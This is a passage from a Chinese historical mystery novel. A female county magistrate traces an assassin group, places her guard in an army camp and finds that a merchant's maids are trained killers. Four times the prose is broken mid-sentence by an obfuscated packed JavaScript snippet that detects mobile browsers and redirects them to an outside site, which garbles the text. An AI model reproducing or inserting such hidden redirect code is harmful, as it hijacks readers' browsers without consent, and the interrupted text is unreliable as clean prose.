云水谣听见这些话,来了精神。原来离此地七八里的地方就有个隐居的大夫,去找他比回城找医馆要快得多。 因此,她拍了拍景佑的肩膀:“景佑,跟着那几只乌鸦走,它们去哪你就去哪。” “为什么?” “我自有道理。” “大人,您烧糊涂了。” 景佑不准备听她的,还是往城里的方向走。 云水谣有些生气地扯了扯他的耳朵:“我是县令还你是县令?我的话你都不听了?当初是谁救了你的?是谁给你发工钱来着?” 景佑无奈苦笑:“好吧好吧,姑奶奶,听你的。” 景佑听见云水谣话音虚弱,判断她就快晕了。现在且听她的,等她晕过去了,马上调转方向,回城找大夫去。 谁知,他跟着乌鸦走了一阵,竟发现了一间茅草屋。 刚到时,院子中的昙花就绽放了。白色的花朵就像是刚上场的舞姬,缓缓展开裙摆,尽显迷人风姿。景佑没注意到,还有几只乌鸦停在附近,跟他一起欣赏昙花。 景佑虽然惊艳于昙花的美丽,却无心欣赏。他还不知这间茅草屋里住着的是大夫,只想向此间主人讨碗水喝,如果有热的米汤就最好不过了,云水谣现在需要这个。 米汤看着简单,但是补身体的绝佳食物,而且易得。只是不知这户人家有没有。 云水谣伏在景佑耳边,道:“这茅草屋里住的是大夫,你可向他求医。” “什么?” 景佑觉得云水谣有些犯糊涂了,她怎么可能知道此间主人是做什么的呢? 可是,此间主人感觉到门外有人,“吱呀”一声开了门,见到景佑背上的云水谣,便问道:“你们深夜来此,可是这位姑娘需要求医?” 景佑看着眼前花白胡子的老者,好奇道:“正是。您真是大夫吗?” “没错。你们无意间来到我家,也是机缘巧合。快把这姑娘背进屋子来,让老朽为她把脉。” 景佑大喜,忙将云水谣背到屋内。屋中有两张床,一张是老者自己睡,一张是客床,看起来很久没人睡过了,被褥都叠得很整齐。 老者将客床上的被褥掀开,让云水谣躺进去。云水谣还未晕倒,意识到自己得救了,心下一宽。 这老者既是大夫,家中必有草药。他只需为自己熬一些对症的草药,应该就能退烧了。 老者坐在床边的小凳子上,给云水谣诊脉。景佑站在一边,关切地看着。 忽然,老者注意到了景佑的面貌,惊讶道:“国公爷?” 景佑有些奇怪:“老丈,您叫我什么?” “哦,是老朽糊涂了,国公爷不可能像你这般年轻,你只是长得跟他有几分相似罢了。” “老丈,我跟哪位国公相似?” 如今朝廷一共有八位国公,不知这老者说的是哪一位,更不知他为何会认识国公。 老者解释道:“你跟镇国公元祁长得挺像的,我年轻时住在他家附近,经常去国公府给他诊脉,所以对他的模样还有印象。只是你的面庞比他更柔美一些,像是女孩一般,国公爷长得更硬朗。但是乍一看,你们倒像是一个模子刻出来的。” 景佑笑道:“人有相似,物有相同,倒不奇怪。” 云水谣本是随便听听,她听了这些话,突然灵光一闪,抓着那老者问道:“老丈,那镇国公元祁,是不是有个儿子叫元澄,现任雍州长史?” “他儿子倒确实叫元澄,只是我不知道那位世子爷现居何职。我离开京城已经很久了。” “那……镇国公夫人,是不是有个表哥叫林益敬,现任监察御史?” “国公夫人确实有位林姓表哥,叫什么我倒忘了,我也是见过的。因我是国公府的常客,而那位林大人也时常来国公府探望国公夫人,我们时不时便会遇见。” “镇国公世子元澄,跟他表舅长得有九分相似,这您有印象吗?” “这我倒没注意,我跟国公府来往的时候,世子爷元澄还是个孩子,我没留心过谁跟他长得像。” 云水谣心中,隐隐有了一个猜测。 景佑长得跟镇国公相像,可能不是巧合。也许,景佑便是镇国公流落在外的儿子。 元澄是镇国公府世子,他可能无意间得知景佑是自己的兄弟,怕他回到国公府,跟自己共享家里的资源和利益,便要找杀手杀景佑。 怪不得当时在雍州,元澄见到景佑时,会露出那种戒备、防御的奇怪眼神,他还问云水谣是怎么跟景佑认识的。 如今想来,应该是元澄派第一批杀手去杀景佑失败了,景佑下落不明,他一直在找景佑。 没想到,云水谣会带着景佑去雍州府找他,他并不知道景佑是如何到云水谣身边的,所以才会细问。 而景佑经历第二次追杀,恰恰是在云水谣带景佑离开雍州府的路上。 这也正说明,元澄见到了景佑,知道他在哪里,所以才安排了第二次追杀。 景佑经历的第三次追杀,也就是今天,是在监察御史林益敬见到景佑之后。 林益敬是元澄的表舅,虽不是亲舅舅,但跟元澄的关系应该是比较密切的,所以他暗中帮着元澄。 他来到洛县监察政务,故意做出一副傲慢自大的模样,让人觉得他就是个草包。实际上他是用这副面孔掩盖他恶毒的心思。 今日追杀景佑的第三批杀手,应该就是林御史找来的。 他要为自己的外甥清除障碍,除去景佑这个竞争对手。 如果景佑是元澄的大哥,那么景佑如果回到镇国公府,很有可能抢了元澄的世子之位。就算景佑没有争权夺利的心思,但他若是原配嫡出,便是镇国公府的嫡长子,理应成为世子。 如果景佑是元澄的弟弟,那么他回归镇国公府后,也会分走很大一部分家产,还可以共享镇国公府的人脉和资源。 不论是哪种情况,都是元澄不愿意的。 推理出真相后,云水谣有一种豁然开朗的感觉。之前困扰她的一些细节,全都得到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907777|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解答。 只是,这推理虽然严丝合缝,却也还需要证据。 她问大夫:“老丈,镇国公府是否有流落在外的孩子?” “据我所知是没有,不过国公夫人以前夭折过一个孩子。” “夭折?” “对,国公夫人的第一个儿子一岁时就夭折了,当时她很伤心,我还给她诊过脉。好在当时她的第二个儿子已经出生,便是世子爷元澄,所以她没有特别伤心,还能支撑得住。” “那……在此之前呢?镇国公府有没有更早出生的孩子?” “应该没有,镇国公跟他夫人是原配夫妻,镇国公的姬妾们也没生孩子。” 云水谣有些困惑。这么说,景佑不是镇国公府流落在外的孩子? 可若不是,景佑为何会跟镇国公长得相似?元澄和林御史又为何用戒备的眼神看着景佑? 莫非,镇国公夫人的第一个孩子,其实并未夭折,而是因为一些原因流落在外,那个孩子就是景佑? 可若景佑和元澄都是国公夫人所生,那对林益敬来说,两个都是他外甥,他又为何要帮着元澄对付景佑? 事情越发扑朔迷离了。云水谣觉得,这其中一定有一个更为合理的解释,只是自己一时半会想不到。 那大夫问道:“姑娘,你为何对镇国公府的事情这般感兴趣?” “只是随口问问。对了,我该吃什么药?” “姑娘得了伤寒,我用麻黄、桂枝、杏仁、生姜等药材为你熬药便可。你先在此等着,我去煎药。” 大夫去厨房煎药,云水谣趁机把自己的猜测跟景佑说了。 景佑难以置信:“这不太可能……” “可是,如果你真的是镇国公府的公子,一切事情都能解释得通了。” “如果镇国公府真的有一个流落在外的儿子,这么多年他们为什么不找?而且,我若真是雍州长史元澄的亲兄弟,他何以要杀我?” “也许是为了利益。你若回去,可能就要取代他成为世子。至于他们这么多年不找你,也许有别的原因。” “元澄要杀我可以理解,可若是林御史真是我表舅,他没理由找杀手杀我。” “是啊,这也是我想不通的地方。你和元澄的身份,对于林御史来说应该是一样的。可惜我不能随意回京,不然便可去镇国公府探探虚实。” “只能有机会再去看看了。” “你对自己的身世不好奇吗?” “我以前有想过我的父母是谁,但在我心里,抚养我长大的师父是最重要的。父母对我来说有些虚幻,能见面固然是好,见不了也无所谓。只是,若镇国公夫妇真是我的父母,这个家庭应该非常复杂,不适合我。大人今日跟我说的话,让我有些意外,我还没准备好去寻亲。” “我理解你的心情。镇国公府确实有些复杂,元澄和林御史对你都不怀好意。依我看,你还是去别的地方躲一躲。现在林御史就在洛县,你在他眼皮子底下,很危险。” “大人,我们之前说好的,我不会离开大人身边。” “我们不会分隔太远,我已经替你想到了一个绝佳的去处。” “哪里?” 20. 景佑进军营 县令赴松江 “洛县往北三十里,有个金缕营,是游击将军杜羽的军营。若是能求他庇佑你,让你留在军营中,想必杀手不敢过去。” “可是,军中自有军纪,杜将军只怕未必同意。” “我跟他见过一次,感觉他不是那种不近人情的人。这次追踪那拐子的士兵,有一部分就是向他借的。而且,他是孟荀的表哥,我又是孟荀的好友,有这层关系在,他应该会照顾一二。” 杜羽是长公主之子,而孟荀是城阳郡主之女。长公主和城阳郡主是堂姐妹,从小一处玩的,感情深厚,嫁人后也常常来往,是以杜羽和孟荀也像亲兄妹般亲近。 只是以前碍于男女大防,云水谣从未私下见过杜羽。每次她去找孟荀玩时,若听见杜羽来访,她便会离开。上次去找杜羽借兵,还是他们俩第一次相见。 这次云水谣想求杜羽庇护景佑,这事说大不大,说小不小,只怕也不是求几句就能成功的。 军中的士兵都有名册,如果突然塞一个人进去,不太符合流程。 因此,云水谣打算先求助于孟荀,由她出面说情。杜羽对孟荀这个表妹,总该给几分面子的。 孟荀送云水谣的鸽子养在县衙里,云水谣得先回到县衙,才能飞鸽传书。 等那大夫熬好了药,云水谣也不怕苦,一口气喝了。 大夫道:“姑娘,你这病需喝十副药,你先在山里住几天吧。” “不,老丈,我有事要离开,您把药给我吧,我回去之后自己熬。” 说着,云水谣给了大夫一些银两,大夫不肯接受,只是把药打包好了给云水谣。 云水谣道了谢,由景佑扶着,慢慢往外走。 景佑有些担心,想让云水谣再躺两天。可云水谣心里千头万绪的,哪里躺得住,只盼着快点回到县衙处理事务。 因此,景佑也只好由着她。 那大夫目送她们离开后,才回到自己的房中。 云水谣对着景佑耳边说道:“景佑,你把这些银两扔回那大夫的院子里,他迟早能发现的。刚才他为我诊病却没收钱,我心里过意不去。” 少女吹气如兰,景佑微红了脸,赶紧收摄心神,点头道:“好。我看他那院子里种着很多花,不如便把银两扔到花丛,等他来打理花草时,自会看见。” 说着,景佑便将手中的银两用力一抛,刚好落在那大夫的院子中。 这下,他们才放心离去。 景佑道:“大人,还是我背着你吧。” “不,你也很累了。可惜我们的马都跑了,不然可以骑马回去。” 景佑一声呼哨,他的马便从林间跑了出来。原来他的坐骑并未被杀,只是之前景佑和杀手打斗时,那马受惊跑远了。如今听见景佑的呼唤,它又跑了过来。 景佑和云水谣共乘一匹,让云水谣紧紧抱住他的腰。 马走得快,没过多久,便回了县衙。 此时已是深夜,但县衙门口却聚集了几个士兵,正是之前去寻找景佑的那几个。 他们找不到景佑,便先回县衙候着了,没想到跟景佑和云水谣在此碰面。 他们见景佑重伤,云水谣生病,慌忙将她们扶到县衙的后堂躺着,拿伤药来给她们用。 云水谣略作休息,便叫人准备纸笔,修书一封,上面写明景佑处境危险,想去杜羽将军的军营暂时躲避,请孟荀代为说情。 写完后,云水谣把信纸一卷,绑在信鸽腿上,放飞信鸽。 第三天,云水谣便收到了孟荀的回信。 上面写道,云水谣只管将景佑送去军营,她已在信纸末端盖上了自己的私人印章,若是杜羽不肯,便将自己的私印给他看。 另外,信中还提到一件事,便是孟荀所在的卫县近日也有新的女孩失踪,衙役们追踪拐子,却被杀死,不但没救回女孩,也没发现那些拐子的老巢所在,更是损失了部分衙役。孟荀请云水谣有空时,去两县交界处相会,共同商议此事。 云水谣看完信,眉头紧锁。她和孟荀都以为,只要在新的拐卖案发生的时候,跟踪拐子,便能找到他们的巢穴。没想到那些拐子个个武艺高强,能发现有人跟踪,还能在短时间内杀死衙役,实在难缠得很。 她的病已经好得差不多了,当下决定先把景佑送到金缕营,再去找孟荀。 云水谣带上孟荀的回信,跟景佑一起骑马前往金缕营。 大约半个时辰后,他们便到了。 云水谣是第二次来,守营的士兵认识她,便放她进去了。 一进校场,便看见杜羽在骑马。 他今日穿着一身黑色劲装,衣服上用金线绣着蟒纹,手腕上缠了一圈红色的护腕,头上戴着金貔貅发带,腰间系着用银环串成的狼牙,显得英姿飒爽、神采飞扬。 他一边跑马,一边用箭投壶,每箭皆中,引起围观士兵的阵阵喝彩。他似乎觉得普通跑马没什么意思,在马上时而倒立,时而侧身,花招频出,看得人心惊胆战,但他自己却稳如泰山,丝毫不惧。 过了一会,他看到一边等候的云水谣,似乎眼前一亮。 投完最后一支箭,他来到云水谣身边,翻身下马。 云水谣赶紧说道:“杜将军,我有一事相求……” “你所求之事我已知道,孟荀修书给我了。今日我投壶找不到对手,不如你来试试。” 投壶对云水谣来说并不难,她从旁边拿起几根羽箭,准备往地上的壶里投掷。 杜羽却拦住了她:“这样投有什么意思,你若能投中移动的壶,我便收下你这护卫。” 说着,杜羽把壶背在身上,重新上马,跑了起来。 云水谣从来没试过这样投壶,有些紧张。那个壶的位置不停地变,云水谣想瞄准,但总是差一点。 她又不敢乱投,万一伤到杜羽就不好了。 杜羽见她迟迟不动手,便放慢了速度。 景佑对她道:“大人,不如我来投。” 杜羽在马上道:“你投的不算,一边去。” 景佑只得退开。 趁着杜羽说话的功夫,云水谣看准了位置,用力一掷。此时杜羽却又移动了,那支箭直接往他脖子后面刺去。 云水谣吓得魂飞天外,待要呼叫,却已来不及。 谁知,杜羽把头一低,又伸出右手向后,稳稳当当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907778|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地握住了那根箭,没有受伤。 他随手把箭扔进背后的壶中,对云水谣笑道:“云县令,袭击朝廷大将,该当何罪?” 云水谣见他并无见怪之意,只得说道:“杜将军,是你叫我投的,你偏又背着壶跑来跑去,这谁能射中?” “谁说不能?我来演示给你看。” 接着,他下马来,将壶递给景佑,让他背上,然后让景佑骑着马,景佑只得照做。 而杜羽便站在原地,手中拿着箭,朝那壶中投掷。 不管景佑如何变动,杜羽都能投中,无一失手。 接着,他对云水谣笑道:“如何?” “大人是投壶的高手,只是您是武将,我是文官,这方面我不如您是正常的。” 杜羽爽朗一笑:“本将军并非有意为难云县令,只是一个人投壶无趣,所以拉云大人一起而已。你这护卫的名字,我已登记在册,以后他就是我的贴身侍卫,一直跟随我,想必那些杀手不敢前来。” 云水谣喜道:“多谢杜将军。” 她嘱咐了景佑几句,便将他留在这里。 接着,她便起身往圆石村而去。那个村子跟卫县交界,孟荀会在那里等她。 等云水谣来到圆石村的一个山洞里,孟荀已经在了。 她一双妙目带着几分哀愁,对云水谣道:“我们县的女孩又失踪了几个,去追踪的衙役也被杀了。” 这事之前她在信中提过,云水谣已经知晓,道:“我们洛县也发生了类似的事,不过衙役没被杀,景佑倒是差点被杀死。” “景佑的功夫比衙役高出许多,按理说不会如此危险呀?” “你不知道,景佑追踪的是一个人,后来那人又叫来十余个同伙围攻景佑。” 云水谣便把之前发生的事跟孟荀说了一遍。孟荀奇道:“我们县的案子像是为了拐走女孩,但你们县的案子倒像是特意做局针对景佑似的。” “我也是如此猜测。而且,我还猜到了究竟是何人要对景佑不利。” “是谁?” “现在还没法说。我已从那些杀手穿的布料,得知他们的总坛应该是在盛产蓝菊的松江县。既然追踪他们失败,不如我们去松江县守株待兔。他们组织人多,对于布料需求量很大,我们只需盯紧松江县的染坊,看有哪些大客户,再一一排查便好。” “我也是这么想的,不如我们各点一队人马,一起去松江县探探情况。” “嗯。” 两人达成了共识,便各自回了县衙准备。 两天后,两县的人马在圆石村的一座山脚下聚集。众人都穿着常服,假扮成客商,由云水谣和孟荀带队,前往松江县。 大约十日后,便到了松江县。她们为了不引人注目,寻了个偏僻的小旅店住下。 孟荀仍旧跟云水谣住一间屋子,商议道:“我们派几个衙役去各大染坊询问,有哪些客户会买特别多的蓝布。只要给些银两,那些染坊老板应该会说的。” 云水谣摇头:“不妥。万一那些染坊老板跟百尺楼有勾结呢?我们直接去问,他们就会暗中通知百尺楼。” “那该如何?” 21. 暗访染坊寻主顾 明登商家查线索 “派几个身手好的衙役,趁白天人多时偷偷溜进几个染坊,潜伏在暗处。等晚上那些染坊关门了,衙役们再悄悄去寻账本,记下买布特别多的主顾。” “这也是个办法。” 松江县比较大的染坊一共有七个,云水谣和孟荀便找了七个身手好并且识字的衙役,嘱咐一番。 他们领命而去,或躲在房梁,或躲在地窖中,或躲在杂物房里。等到晚上,染坊里的伙计都离开后,他们便分别去寻账本,记录下经常购买大批布料的主顾,然后回禀云水谣和孟荀。 这样的主顾一共有三十多个,不知他们都是做什么的。 云水谣道:“看来,我们得寻求松江县令的帮助。” 孟荀点头:“没错,总比自己调查要快些。” 她们来到松江县县衙,表明身份,门口的衙役赶紧将她们二人迎进去,并去请松江县县令出来。 松江县县令李茂枝是个病弱的中年人,面色苍白,双眼憔悴,看起来是长年缠绵病榻所致。 李茂枝向云水谣二人拱手:“不知二位县令驾到,有失远迎。我如今深居简出,竟不知已经有女官了,二位县令果真是人中龙凤。” 云水谣赶紧道:“李县令客气了,我等贸然来访,打扰您了。只是有一事要请李县令帮忙。” 云水谣便把之前发生的事情简单说了,并告诉李县令,杀手组织百尺楼很可能就在松江县内,而这些买蓝布的大主顾里,应该就有百尺楼的手下。 李县令明白了事情的经过,也很重视,向云水谣要了那份买布的大主顾名单。 他是本县县令,对于县里的大户还是有所了解的。这些大量买布的主顾里,很多都是富商,家里有布行或是成衣店,拿这些布是去做衣服的。 还有几个是婚仪所的人,婚仪所专管百姓嫁娶之事,提供婚礼所需的各项物品和媒人、傧相等。 松江县百姓成婚,多以蓝布铺地、铺餐桌,因为蓝布价格便宜,是以婚仪所对于蓝布的需求量也很大。 李县令一一介绍下来,这些大主顾竟都是有来历的良民,没有一个有破绽的。 云水谣问道:“这些大主顾里,有没有举止怪异,或是行事避着人的?” 李县令道:“这我就不清楚了,他们都是良民,并非犯人,我平日也不会派人盯着他们的一举一动。” “那这些主顾都有多少家成衣店,他们买走这些蓝布是否都以正常渠道销售出去了?” “他们各自的店铺,倒是有统计。有一些店铺不在松江县,但也有登记在册,我叫人把册子取来。” 很快,僚属们便拿来了松江县的商人册子。 云水谣和孟荀一一翻看。 看了一会,云水谣发现一处奇怪的地方:“这个叫王大兴的富商,只有两家成衣店,但他每次买的布料却是最多的,每次都是几百匹,远远超过了他店里需要的数量,这是怎么回事?” 李县令道:“云大人有所不知。这王大兴好蓄歌舞伎,且喜新厌旧,经常换新人。他身边常年有百余歌舞伎陪伴,对衣料的需求很大。他买了布料主要是给姬妾们做衣服的。” 有钱到一定程度,能养百余个歌舞伎并不奇怪。只是他若经常换人,哪来这么多女孩给他换?而且,姬妾们为了争宠,自然是百花齐放的,不可能都穿一样的衣服。王大兴府上常年买这么多蓝布料,十分不合理。 云水谣总觉得有哪里不对。 她问李县令:“您可知那王大兴的歌舞伎从何处买来?” “这就不知道了,王大兴交游广阔,在各地都有朋友,弄来一些歌舞伎也不奇怪。” “松江县的其他富商,也是这样的作风吗?” “有些富商不好女色和声乐,并不蓄歌舞伎。也有些富商蓄歌舞伎,但一般只有二三十人,不会太多。王大兴算是在这方面比较泛滥的,不过这是他的私事,别人也管不着。” “他换人换得这么勤,难道从来没有什么姬妾能长久留在他身边吗?” “好像没有。对他这种富商来说,换女人就像换衣服一样。今年的衣服,也许到明年就全部换了。即便有很喜欢的,明年自然还有更好的,所以也不甚留恋。我曾受邀到他府上赴宴过几次,每次席间伺候的丫环和歌舞伎都不相同,可见他换得很勤快。” 云水谣思索片刻,一个猜测在她心中升起。她对孟荀耳语几句,孟荀有些惊讶,看着云水谣。但随即她觉得云水谣言之有理,又露出恍然大悟的表情。 李县令见两人在说悄悄话,有些好奇,问道:“两位大人在说什么?” 云水谣笑道:“李大人,不知这富商王大兴家里的庭院好不好看?” “王大兴有钱又有品味,家中庭院经过专门设计,还有许多奇花异草,可谓是一步一景,百花齐放。” “既如此,可否带我们去看看?我和孟荀喜欢游览园林盛景。” “这是小事,我带你们去便可。” “只是,还请李大人不要泄露我们的身份,只说我们的亲戚家的姑娘便可。” 李县令猜测,云水谣和孟荀可能是不想泄露身份,便同意了。 其实,她们另有打算。 云水谣猜测,这个富商王大兴,可能并不简单。他府里的那些姬妾,很可能是百尺楼的女杀手。 百尺楼拐来的女孩,应该是在王大兴这里接受训练,学习武功,等学成之后,就成为杀手,接各种任务。 所以,他身边的歌舞伎才会换得如此之勤。只有假托歌舞伎的名义,才能让不同的女孩合理地待在自己家里。 他对外只说自己好色,府里的歌舞伎每隔一段时间便要换一批,其实是他在为百尺楼总坛培养一批又一批的杀手。 而他买的那些蓝色布料,自然也是为了给女杀手们做衣服的。别人家里的歌舞伎都穿得花枝招展,生怕跟旁人撞衫,但王大兴家里的歌舞伎却有统一的衣服,这很不合理,除非那些女孩根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907779|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是歌舞伎,王大兴根本不在意她们穿什么衣服、好不好看,只需要她们成为杀人的刀。一样的制服,反而方便管理。 方才,云水谣把这些猜测跟孟荀说了,孟荀也赞同。 现在,她们俩要去王大兴家里探查一番。 松江县令李茂枝向富商王大兴递上拜帖,王大兴很快就回帖,邀李县令过府赴宴。 王大兴虽有钱,但明面上的身份只是个商人,自然要给县令面子的。且李县令本就因为多病深居简出,宴请他的机会并不多。 约定的时间在两天后,当天,云水谣和孟荀打扮成普通女孩,穿得鲜妍明媚的,跟随李县令来到王大兴家里。 王大兴亲自在门口迎接,十分热情。他是个面容和气的中年人,但是身材紧实,没有一丝赘肉,完全不像个富商的模样。云水谣推测,他应该是个练家子,平时会习武,所以身材很好。 王大兴向李县令拱手道:“县令大人驾临,寒舍蓬荜生辉。” 李县令笑道:“王先生不必客气,这几日有亲戚家的女孩来访,她们听说王先生家里的庭院雅致,便缠着我要来看看,不知是否打扰了?” “哪里的话,两位小姐愿意贵足踏贱地,是小人的福气。” 王大兴看向云水谣二人,有一瞬间的惊讶,大概是被二人的外貌所惊艳。但他谨记着自己的身份,不敢多看,非常有礼地邀请几人进去。 宴会设在曲水回廊处,湖心饮宴,甚为清雅。清风徐来,让人神清气爽。湖面上漂着几艘小舟,有十几个歌舞伎在上面弹琴唱曲,歌声动人,曲声悠扬,令人陶醉。 船上的歌舞伎为了表演好看,都穿着漂亮的轻纱罗裙,颜色也十分淡雅清新,赏心悦目。 而在一边侍宴的丫环们,则穿着蓝色衣服,款式简单,观其布料均与那些蓝衣杀手相似。 云水谣看那些丫环脚步轻盈,落地无声,似乎身怀武艺,决定找个机会偷偷试一试。 她吃得差不多了,便拉着孟荀站了起来,对王大兴道:“王先生,我们想在府上闲逛一下,可以吗?” 王大兴犹豫了一下,才道:“自然可以。我找人带你们逛。我家太大了,若无人带着,恐怕要迷路。” “也好。” 王大兴应该是要找人监视她们,免得她们无意间发现什么秘密。云水谣虽心知肚明,却也不好拒绝,否则王大兴会起疑心。 王大兴叫了一个丫环带路,云水谣和孟荀两人便在丫环的带领下逛园子。 这园子倒是风景如画,宛如仙境,只是云水谣心中有事,无心欣赏。 孟荀悄悄对云水谣耳语:“怎么办啊?” “我有个主意,你配合我就好。” 接着,云水谣对那带路的丫环道:“厨房在哪里?我想参观一下。” 丫环问道:“姑娘去厨房做什么?那里油烟太大,姑娘想吃什么,奴婢去拿就好。” “我最近在学做菜,想去厨房参观。” 22. 泼油试丫环 携友访琴师 见云水谣如此说,丫环便带着她们前往厨房。 虽然宴席快要结束了,厨房里还是有十几个大厨在忙碌。王大兴家里的宴席繁琐富丽,光是饭后甜点就有二十多道。不管宾客能不能吃完,反正做是一定要做出来的。 大厨们各自忙碌着,也没人管云水谣。 云水谣装作参观他们做菜,然后给孟荀使眼色,让孟荀引开丫环。 孟荀对那丫环道:“附近有茅房吗?你带我去吧。” “好,姑娘跟我来。” 带路的丫环离开后,云水谣趁大厨不注意,偷偷拿走了一小壶油,藏在袖子里。 她今日穿的是宽袍大袖,里面藏了东西也看不出来。 接着,她走出了厨房。远远看见有两个蓝衣丫环朝这边走来,手上提着食盒,似乎是来取新做的菜的。 云水谣偷偷在她们的必经之路上洒了油,然后躲在假山后偷看。 因食盒是用名贵的紫檀木制成,那两个蓝衣丫环只顾着提食盒,没注意脚下,不小心踩到了地上的油。 可是,她们却没摔倒,而是齐刷刷地向后飞掠,像两只矫捷的鹞子般后退几步,便稳稳地站在地上。 果然不出云水谣所料,这王家的丫环都是会武功的,不是普通人。 看来,自己之前的猜测八九不离十了。 只听那两个丫环说道: “这地上怎会有油,叫人来打扫一下。” “好险,刚才差点就摔倒了。” “要是我们会被这么一点油绊倒,这么多年的功夫就白练了。” “那倒是。我们刚才显露身手,没被人发现吧?” “应该没有。我们快去厨房拿糕点吧,晚了主人要责罚的。” 那两个丫环一人拿了几样糕点,便离开了。 这时,孟荀也从茅厕回来,之前那引路的丫环仍旧跟在她身边。 孟荀用眼神询问云水谣事情进展如何,云水谣投去一个肯定的眼神。 她们俩很有默契,只用眼神交流,孟荀就明白了大概。 用地上撒油来测试丫环会不会武功,是云水谣临时想出来的主意,所以她刚才才提议去厨房。 现在目的达成,云水谣打算再到处看看,看有没有其他破绽,最好能找到训练年轻女孩习武的场地,这样证据更确凿。 只是,若跟着这个带路的丫环,肯定发现不了什么。但若是不留这么一个眼线在此,只怕她们很快就会被王大兴找借口请出去。 云水谣也只能闲逛,留心自己看到的一草一木。 走到一处小院子时,有一群十几岁的女孩在学习吹拉弹唱,她们也都穿着蓝色衣服。其中一个女孩,云水谣看着有几分眼熟。 她想了一会,才想起这女孩像谁,她像第一次报官的四妞。 之前有个叫四妞的女孩,说自己的姐姐徐二妞失踪多年,父母放弃寻找,请求县令帮助。 云水谣就是从徐二妞的案子开始查起,才发觉本县竟有两百多起相似的女孩失踪案,引出了后面的许多事情。 如今看来,这个长得像四妞的女孩,莫非就是四妞失踪多年的姐姐徐二妞? 如果真是她,足以证明王大兴府上就是人贩子的窝点,也是百尺楼的训练场地。 云水谣按捺住内心的激动,装作不经意地问道:“听说王先生府上有许多歌舞伎,怎么这些女孩还要现学乐器?难道之前不会吗?” 引路丫环答道:“我家主人有时候会购买精通乐曲的成年歌姬,有时候也会买一些什么都不懂的小女孩,自己培训,这样能教成他想要的样子。” “听闻王先生换歌舞伎换得很勤,有时候一年会换两三批,没想到他也有耐心花好多年去培养小女孩。” 引路丫环愣了一下,答道:“我家主人确实换歌舞伎很勤,但他有时候也愿意培养少女好多年,直到她们学有所成。” “学有所成之后,他马上又卖了,再买一批新的?这似乎有些不划算啊。” “姑娘有所不知,这种什么都不会的小女孩很便宜,可若是主人将她们培养成优秀的歌舞伎,却是能卖高价的。主人从不做赔本的买卖。” “这样啊……那之前那些歌舞伎,都卖往何处了?” “这奴婢就不知道了,全国各地都有吧。姑娘为何关心这个?” “我只是随口问问。对了,今日在湖中央表演的歌姬们,穿着漂亮的衣服,为何在这里学习乐器的女孩,还有你们这些丫环,都只能穿普通的蓝衣?” “王家的规矩,在歌舞伎为客人表演的时候,才能穿色彩鲜艳的衣服。其他时候都是穿这种蓝衣,丫环和学乐器的女孩们都不例外。” “原来如此。” 刚才在回答云水谣的问题时,那引路丫环明显有点心虚,好不容易才想到一些说辞。看来王家存在很大的问题。 这时,云水谣装作滑倒,往那丫环身上扑去。为了保持身形,她紧紧抓住了丫环的胳膊。 丫环将她扶起来,问道:“小姐,您没事吧?” “没事,幸好有你扶着我。” 其实,云水谣刚才是故意摔倒,就是为了摸一下这丫鬟的胳膊。她发现,这丫鬟的手臂比一般女孩要粗壮,而且硬邦邦的,摸着全是肌肉。这丫鬟明显也是个练家子。 一连看见三个会武功的丫环,这王家绝不寻常。 云水谣故意问道:“这位姐姐,你平时在王家都干些什么活?” “奴婢做的是端茶倒水的活。” “那倒是不费事。” “是啊,家里丫环多,每个丫环要干的活都很少。” 既然不需要干什么重活,这丫鬟手臂上的肌肉就不是因为干活练出来的,而是练武所致。 云水谣对孟荀使了个眼色,一起回到了宴席上。 吃完饭后甜品,她们便告辞了。 云水谣和孟荀辞别李县令,回到自己下榻的客栈里。 孟荀问道:“阿谣,今日有什么收获?” 云水谣便把自己之前的发现跟孟荀说了。 孟荀沉思道:“一连发现三个会武功的丫环……所以,那些丫环、歌舞伎,很有可能就是百尺楼培养的女杀手?” “我也是这么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907780|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。今日那群学乐器的女孩,我好像认识其中一个,如果能想办法跟她私下说话,探探口风就好了。” 